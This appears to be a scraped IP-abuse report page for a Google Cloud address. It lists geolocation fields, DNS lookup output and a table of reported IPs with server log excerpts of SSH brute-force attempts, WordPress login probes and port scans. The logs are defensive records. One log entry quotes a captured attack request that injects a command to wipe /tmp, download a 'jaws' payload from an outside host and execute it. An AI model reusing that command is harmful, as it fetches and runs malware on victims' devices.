City: unknown
Region: unknown
Country: United States of America
Internet Service Provider: Google LLC
Hostname: unknown
Organization: unknown
Usage Type: Data Center/Web Hosting/Transit
| Type | Details | Datetime |
|---|---|---|
| attack | Apr 21 23:16:39 haigwepa sshd[12208]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=34.80.55.211 Apr 21 23:16:40 haigwepa sshd[12208]: Failed password for invalid user yw from 34.80.55.211 port 35832 ssh2 ... |
2020-04-22 06:36:40 |
| IP | Type | Details | Datetime |
|---|---|---|---|
| 34.80.55.216 | attackspambots | WordPress (CMS) attack attempts. Date: 2019 Jul 30. 22:26:52 Source IP: 34.80.55.216 Portion of the log(s): 34.80.55.216 - [30/Jul/2019:22:26:51 +0200] "GET /wp-login.php HTTP/1.1" 404 118 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" 34.80.55.216 - [30/Jul/2019:22:26:51 +0200] "POST /wp-login.php HTTP/1.1" 404 118 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" 34.80.55.216 - [30/Jul/2019:22:26:49 +0200] "GET /wp-login.php HTTP/1.1" 404 118 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" 34.80.55.216 - [30/Jul/2019:22:26:48 +0200] "POST /wp-login.php HTTP/1.1" 404 118 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" 34.80.55.216 - [30/Jul/2019:22:26:47 +0200] "GET /wp-login.php HTTP/1.1" 404 118 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" 34.80.55.216 - [30/Jul/2019:22:26:46 +0200] "POST /wp-login.php |
2019-07-31 13:28:28 |
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 34.80.55.211
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 6028
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;34.80.55.211. IN A
;; AUTHORITY SECTION:
. 599 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2020042101 1800 900 604800 86400
;; Query time: 219 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Wed Apr 22 06:36:32 CST 2020
;; MSG SIZE rcvd: 116211.55.80.34.in-addr.arpa domain name pointer 211.55.80.34.bc.googleusercontent.com.Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
211.55.80.34.in-addr.arpa name = 211.55.80.34.bc.googleusercontent.com.
Authoritative answers can be found from:| IP | Type | Details | Datetime |
|---|---|---|---|
| 107.170.121.10 | attackspam | Feb 6 19:01:30 web8 sshd\[30855\]: Invalid user det from 107.170.121.10 Feb 6 19:01:31 web8 sshd\[30855\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=107.170.121.10 Feb 6 19:01:32 web8 sshd\[30855\]: Failed password for invalid user det from 107.170.121.10 port 36396 ssh2 Feb 6 19:06:32 web8 sshd\[1126\]: Invalid user jr from 107.170.121.10 Feb 6 19:06:32 web8 sshd\[1126\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=107.170.121.10 |
2020-02-07 03:12:10 |
| 193.188.22.187 | attackspambots | [05/Feb/2020:08:00:51 -0500] "\x03" Blank UA |
2020-02-07 03:23:20 |
| 167.99.66.193 | attackbots | Feb 6 14:40:49 163-172-32-151 sshd[1725]: Invalid user owb from 167.99.66.193 port 38618 ... |
2020-02-07 03:13:19 |
| 193.29.13.20 | attackbotsspam | trying to access non-authorized port |
2020-02-07 03:16:12 |
| 37.45.47.221 | attack | [Thu Feb 6 14:38:42 2020] Failed password for r.r from 37.45.47.221 port 54483 ssh2 [Thu Feb 6 14:38:49 2020] Failed password for r.r from 37.45.47.221 port 55449 ssh2 [Thu Feb 6 14:38:55 2020] Failed password for r.r from 37.45.47.221 port 56199 ssh2 [Thu Feb 6 14:39:00 2020] Failed password for r.r from 37.45.47.221 port 56675 ssh2 ........ ----------------------------------------------- https://www.blocklist.de/en/view.html?ip=37.45.47.221 |
2020-02-07 03:17:04 |
| 222.186.175.181 | attackspambots | 2020-2-6 8:17:40 PM: failed ssh attempt |
2020-02-07 03:23:07 |
| 197.50.94.12 | attackbotsspam | [05/Feb/2020:06:55:20 -0500] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world" [05/Feb/2020:06:55:24 -0500] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world" [05/Feb/2020:06:55:26 -0500] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world" [05/Feb/2020:06:55:30 -0500] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world" |
2020-02-07 03:14:03 |
| 185.143.223.250 | attack | Feb 6 19:53:12 debian-2gb-nbg1-2 kernel: \[3274436.712589\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=185.143.223.250 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=246 ID=19578 PROTO=TCP SPT=46226 DPT=3394 WINDOW=1024 RES=0x00 SYN URGP=0 |
2020-02-07 03:24:43 |
| 185.125.33.83 | attack | Feb 6 14:41:24 debian-2gb-nbg1-2 kernel: \[3255728.688987\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=185.125.33.83 DST=195.201.40.59 LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=37104 DF PROTO=TCP SPT=45573 DPT=3128 WINDOW=14600 RES=0x00 SYN URGP=0 |
2020-02-07 02:49:39 |
| 177.129.255.94 | attackbots | Port 1433 Scan |
2020-02-07 03:10:49 |
| 175.24.139.14 | attack | scanner, scan for phpmyadmin database files |
2020-02-07 02:52:52 |
| 185.36.81.86 | attackspam | 2020-02-06T18:16:01.349906MailD postfix/smtpd[6821]: warning: unknown[185.36.81.86]: SASL LOGIN authentication failed: authentication failure 2020-02-06T19:01:43.910344MailD postfix/smtpd[10054]: warning: unknown[185.36.81.86]: SASL LOGIN authentication failed: authentication failure 2020-02-06T19:46:57.647222MailD postfix/smtpd[13315]: warning: unknown[185.36.81.86]: SASL LOGIN authentication failed: authentication failure |
2020-02-07 02:54:47 |
| 187.177.85.161 | attack | Automatic report - Port Scan Attack |
2020-02-07 03:18:40 |
| 200.35.42.96 | attack | SSH/22 MH Probe, BF, Hack - |
2020-02-07 02:55:22 |
| 216.218.206.68 | attackspam | TCP port 3389: Scan and connection |
2020-02-07 03:09:42 |